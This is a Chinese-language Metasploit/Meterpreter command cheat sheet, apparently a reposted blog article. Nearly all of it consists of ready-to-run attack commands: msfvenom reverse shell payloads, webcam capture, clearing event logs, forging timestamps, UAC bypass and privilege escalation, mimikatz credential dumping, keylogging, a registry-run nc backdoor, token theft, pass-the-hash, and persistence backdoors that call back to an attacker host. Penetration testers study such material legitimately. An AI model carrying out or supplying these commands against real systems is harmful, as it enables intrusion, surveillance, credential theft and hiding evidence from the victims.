MSF命令大全詳解

0x00 Windows,Linux反彈shell生成

Windows:
msfvenom -p windows/meterpreter/reverse_tcp lhost=[你的IP] lport=[端口] -f exe > 保存路徑
Linux:
msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=[你的IP] lport=[端口] -f elf > 保存路徑

0x01 msfvenom命令參數:

 1 Options:
 2     -p, --payload    <payload>       指定須要使用的payload(攻擊荷載)。若是須要使用自定義的payload,請使用&#039;-&#039;或者stdin指定
 3     -l, --list       [module_type]   列出指定模塊的全部可用資源. 模塊類型包括: payloads, encoders, nops, all
 4     -n, --nopsled    <length>        爲payload預先指定一個NOP滑動長度
 5     -f, --format     <format>        指定輸出格式 (使用 --help-formats 來獲取msf支持的輸出格式列表)
 6     -e, --encoder    [encoder]       指定須要使用的encoder(編碼器)
 7     -a, --arch       <architecture>  指定payload的目標架構
 8         --platform   <platform>      指定payload的目標平臺
 9     -s, --space      <length>        設定有效攻擊荷載的最大長度
10     -b, --bad-chars  <list>          設定規避字符集,好比: &#039;\x00\xff&#039;
11     -i, --iterations <count>         指定payload的編碼次數
12     -c, --add-code   <path>          指定一個附加的win32 shellcode文件
13     -x, --template   <path>          指定一個自定義的可執行文件做爲模板
14     -k, --keep                       保護模板程序的動做,注入的payload做爲一個新的進程運行
15         --payload-options            列舉payload的標準選項
16     -o, --out   <path>               保存payload
17     -v, --var-name <name>            指定一個自定義的變量,以肯定輸出格式
18         --shellest                   最小化生成payload
19     -h, --help                       查看幫助選項
20         --help-formats               查看msf支持的輸出格式列表

0x02 經常使用系統命令

sessions    #sessions –h 查看幫助
sessions -i <ID值>  #進入會話   -k  殺死會話
background  #將當前會話放置後臺
run  #執行已有的模塊,輸入run後按兩下tab,列出已有的腳本
info #查看已有模塊信息
getuid # 查看權限 
getpid # 獲取當前進程的pid
sysinfo # 查看目標機系統信息
ps # 查看當前活躍進程    kill <PID值> 殺死進程
idletime #查看目標機閒置時間
reboot / shutdown   #重啓/關機
shell #進入目標機cmd shell

uictl開關鍵盤/鼠標

uictl [enable/disable] [keyboard/mouse/all]  #開啓或禁止鍵盤/鼠標
uictl disable mouse  #禁用鼠標
uictl disable keyboard  #禁用鍵盤

webcam攝像頭命令

webcam_list  #查看攝像頭
webcam_snap   #經過攝像頭拍照
webcam_stream   #經過攝像頭開啓視頻

execute執行文件

execute #在目標機中執行文件
execute -H -i -f cmd.exe # 建立新進程cmd.exe,-H不可見,-i交互

migrate進程遷移

getpid    # 獲取當前進程的pid
ps   # 查看當前活躍進程
migrate <pid值>    #將Meterpreter會話移植到指定pid值進程中
kill <pid值>   #殺死進程

clearav清除日誌

clearav  #清除windows中的應用程序日誌、系統日誌、安全日誌

0x03 文件類命令

基本文件系統命令

getwd 或者pwd # 查看當前工做目錄  
ls
cd
search -f *pass*       # 搜索文件  -h查看幫助
cat c:\\lltest\\lltestpasswd.txt  # 查看文件內容
upload /tmp/hack.txt C:\\lltest  # 上傳文件到目標機上
download c:\\lltest\\lltestpasswd.txt /tmp/ # 下載文件到本機上
edit c:\\1.txt #編輯或建立文件  沒有的話,會新建文件
rm C:\\lltest\\hack.txt
mkdir lltest2  #只能在當前目錄下建立文件夾
rmdir lltest2  #只能刪除當前目錄下文件夾
getlwd   或者 lpwd   #操做攻擊者主機 查看當前目錄
lcd /tmp   #操做攻擊者主機 切換目錄

timestomp僞造時間戳

timestomp C:// -h   #查看幫助
timestomp -v C://2.txt   #查看時間戳
timestomp C://2.txt -f C://1.txt #將1.txt的時間戳複製給2.txt

0x04 網絡類命令

基本網絡命令

ipconfig/ifconfig
netstat –ano
arp
getproxy   #查看代理信息
route   #查看路由

portfwd端口轉發

portfwd add -l 6666 -p 3389 -r 127.0.0.1 #將目標機的3389端口轉發到本地6666端口

autoroute添加路由

run autoroute –h #查看幫助
run autoroute -s 192.168.159.0/24  #添加到目標環境網絡
run autoroute –p  #查看添加的路由

利用arp_scanner、portscan等進行掃描

run post/windows/gather/arp_scanner RHOSTS=192.168.1.0/24  #掃描192.168.1.0/24這個網段
run auxiliary/scanner/portscan/tcp RHOSTS=192.168.1.144 PORTS=3389 #檢測192.168.1.144是否開啓3389端口

Socks4a代理

autoroute添加完路由後,還能夠利用msf自帶的sock4a模塊進行Socks4a代理
msf> use auxiliary/server/socks4a 
msf > set srvhost 127.0.0.1
msf > set srvport 1080
msf > run
而後vi /etc/proxychains.conf #添加 socks4 127.0.0.1 1080 最後proxychains 使用Socks4a代理訪

0x05 信息收集

信息收集的腳本位於:

/usr/share/metasploit-framework/modules/post/windows/gather
/usr/share/metasploit-framework/modules/post/linux/gather

信息收集的腳本較多,僅列幾個經常使用的:

run post/windows/gather/checkvm #是否虛擬機
run post/linux/gather/checkvm #是否虛擬機
run post/windows/gather/forensics/enum_drives #查看分區
run post/windows/gather/enum_applications #獲取安裝軟件信息
run post/windows/gather/dumplinks   #獲取最近的文件操做
run post/windows/gather/enum_ie  #獲取IE緩存
run post/windows/gather/enum_chrome   #獲取Chrome緩存
run post/windows/gather/enum_patches  #補丁信息
run post/windows/gather/enum_domain  #查找域控

0x06 提權

getsystem提權

getsystem

getsystem工做原理:
getsystem建立一個新的Windows服務,設置爲SYSTEM運行,當它啓動時鏈接到一個命名管道。
getsystem產生一個進程,它建立一個命名管道並等待來自該服務的鏈接。
Windows服務已啓動,致使與命名管道創建鏈接。
該進程接收鏈接並調用ImpersonateNamedPipeClient,從而爲SYSTEM用戶建立模擬令牌。
而後用新收集的SYSTEM模擬令牌產生cmd.exe,而且咱們有一個SYSTEM特權進程。linux

bypassuac

內置多個pypassuac腳本,原理有所不一樣,使用方法相似,運行後返回一個新的會話,須要再次執行getsystem獲取系統權限,如:web

use exploit/windows/local/bypassuac
use exploit/windows/local/bypassuac_injection
use windows/local/bypassuac_vbs
use windows/local/ask

如使用bypassuac.rb腳本:

msf > use exploit/windows/local/bypassuac
msf > set SESSION 2
msf > run

內核漏洞提權

可先利用enum_patches模塊 收集補丁信息,而後查找可用的exploits進行提權chrome

meterpreter > run post/windows/gather/enum_patches  #查看補丁信息
msf > use exploit/windows/local/ms13_053_schlamperei
msf > set SESSION 2
msf > exploit

0x07 mimikatz抓取密碼

load mimikatz    #help mimikatz 查看幫助
wdigest  #獲取Wdigest密碼
mimikatz_command -f samdump::hashes  #執行mimikatz原始命令
mimikatz_command -f sekurlsa::searchPasswords

0x08 遠程桌面&截屏

enumdesktops  #查看可用的桌面
getdesktop    #獲取當前meterpreter 關聯的桌面
set_desktop   #設置meterpreter關聯的桌面  -h查看幫助
screenshot  #截屏
use espia  #或者使用espia模塊截屏  而後輸入screengrab
run vnc  #使用vnc遠程桌面鏈接

0x09 開啓rdp&添加用戶

getgui命令

run getgui –h #查看幫助
run getgui -e #開啓遠程桌面
run getgui -u lltest2 -p 123456   #添加用戶
run getgui -f 6661 –e   #3389端口轉發到6661
getgui 系統不推薦,推薦使用run post/windows/manage/enable_rdp
getgui添加用戶時,有時雖然能夠成功添加用戶,可是沒有權限經過遠程桌面登錄

enable_rdp腳本

run post/windows/manage/enable_rdp  #開啓遠程桌面
run post/windows/manage/enable_rdp USERNAME=www2 PASSWORD=123456 #添加用戶
run post/windows/manage/enable_rdp FORWARD=true LPORT=6662  #將3389端口轉發到6662

腳本位於/usr/share/metasploit-framework/modules/post/windows/manage/enable_rdp.rb
經過enable_rdp.rb腳本可知:開啓rdp是經過reg修改註冊表;添加用戶是調用cmd.exe 經過net user添加;端口轉發是利用的portfwd命令shell

0x10 鍵盤記錄

keyscan_start  #開始鍵盤記錄
keyscan_dump   #導出記錄數據
keyscan_stop #結束鍵盤記錄

0x11 sniffer抓包

use sniffer
sniffer_interfaces   #查看網卡
sniffer_start 2   #選擇網卡 開始抓包
sniffer_stats 2   #查看狀態
sniffer_dump 2 /tmp/lltest.pcap  #導出pcap數據包
sniffer_stop 2   #中止抓包

0x12 註冊表操做

reg –h
    -d   註冊表中值的數據.    -k   註冊表鍵路徑    -v   註冊表鍵名稱
    enumkey 枚舉可得到的鍵    setval 設置鍵值    queryval 查詢鍵值數據

註冊表設置nc後門

upload /usr/share/windows-binaries/nc.exe C:\\windows\\system32 #上傳nc
reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run   #枚舉run下的key
reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v lltest_nc -d 'C:\windows\system32\nc.exe -Ldp 443 -e cmd.exe' #設置鍵值
reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion\\Run -v lltest_nc   #查看鍵值
 
nc -v 192.168.159.144 443  #攻擊者鏈接nc後門

0x13 令牌操縱

incognito假冒令牌

use incognito      #help incognito  查看幫助
list_tokens -u    #查看可用的token
impersonate_token 'NT AUTHORITY\SYSTEM'  #假冒SYSTEM token
或者impersonate_token NT\ AUTHORITY\\SYSTEM #不加單引號 需使用\\
execute -f cmd.exe -i –t    # -t 使用假冒的token 執行
或者直接shell
rev2self   #返回原始token

steal_token竊取令牌

steal_token <pid值>   #從指定進程中竊取token   先ps
drop_token  #刪除竊取的token

0x14 哈希利用

獲取哈希

run post/windows/gather/smart_hashdump  #從SAM導出密碼哈希
#須要SYSTEM權限

PSExec哈希傳遞

經過smart_hashdump獲取用戶哈希後,能夠利用psexec模塊進行哈希傳遞攻擊
前提條件:①開啓445端口 smb服務;②開啓admin$共享windows

msf > use exploit/windows/smb/psexec
msf > set payload windows/meterpreter/reverse_tcp
msf > set LHOST 192.168.159.134
msf > set LPORT 443
msf > set RHOST 192.168.159.144
msf >set SMBUser Administrator
msf >set SMBPass aad3b4*****04ee:5b5f00*****c424c
msf >set SMBDomain  WORKGROUP   #域用戶須要設置SMBDomain
msf >exploit

0x15 添加後門維權

metasploit自帶的後門有兩種方式啓動的,一種是經過啓動項啓動(persistence),一種是經過服務啓動(metsvc),另外還能夠經過persistence_exe自定義後門文件。

persistence啓動項後門

在C:\Users***\AppData\Local\Temp\目錄下,上傳一個vbs腳本
在註冊表HKLM\Software\Microsoft\Windows\CurrentVersion\Run\加入開機啓動項緩存

run persistence –h  #查看幫助
run persistence -X -i 5 -p 6661 -r 192.168.159.134
#-X指定啓動的方式爲開機自啓動,-i反向鏈接的時間間隔(5s) –r 指定攻擊者的ip

鏈接後門

msf > use exploit/multi/handler
msf > set payload windows/meterpreter/reverse_tcp
msf > set LHOST 192.168.159.134
msf > set LPORT 6661
msf > exploit

metsvc服務後門

在C:\Users***\AppData\Local\Temp\上傳了三個文件(metsrv.x86.dll、metsvc-server.exe、metsvc.exe),經過服務啓動,服務名爲meterpreter安全

run metsvc –h   # 查看幫助
run metsvc –A   #自動安裝後門

鏈接後門

msf > use exploit/multi/handler
msf > set payload windows/metsvc_bind_tcp
msf > set RHOST 192.168.159.144
msf > set LPORT 31337
msf > exploit
相關文章
相關標籤/搜索